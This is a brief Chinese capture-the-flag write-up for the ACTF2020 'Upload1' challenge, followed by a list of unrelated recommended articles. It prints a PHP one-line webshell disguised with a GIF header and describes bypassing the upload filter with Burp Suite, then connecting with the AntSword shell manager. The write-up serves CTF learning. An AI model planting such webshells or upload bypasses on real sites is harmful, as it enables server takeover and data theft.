1、点开题目链接，页面显示如下，上传test.jpg里面包含一句话木马
GIF89a? <script language="php">eval($_REQUEST1)</script>
2、使用bp抓包修改后缀，点击发送
3、不关浏览器的代理，在bp中将该包放行
4、用蚁剑连接
5、在根目录中找到flag
[ACTF2020 新生赛]Upload1
不拿flag不改名2024-09-12 13:20
相关推荐
冉冉同学5 小时前
AI Agent 开始操作真实手机：移动端自动化的 3 个新考点帅得不敢出门5 小时前
Android Framework关闭软件低电关机功能测试PMIC低电保护恋猫de小郭6 小时前
Flutter + EmbeddingGemma 2，谷歌发布完全端侧的 AI Edge Foresight墨天梦7 小时前
B16_Material主题与可访问交互弯_弯7 小时前
企业知识库 RAG 落地：从 Demo 到生产，四条工程链路与参数级自查晚风叙码9 小时前
MySQL 表的约束详解：从空属性到外键alexhilton19 小时前
模块化Jetpack Compose架构hengdonghui21 小时前
Writeup 4 N1BOOK afr_1厮年断弦21 小时前
AI 辅助开发实录：一周做完一个 Android 本地音乐播放器，这些坑替你踩了hai_android21 小时前
InputStage 责任链核心执行流程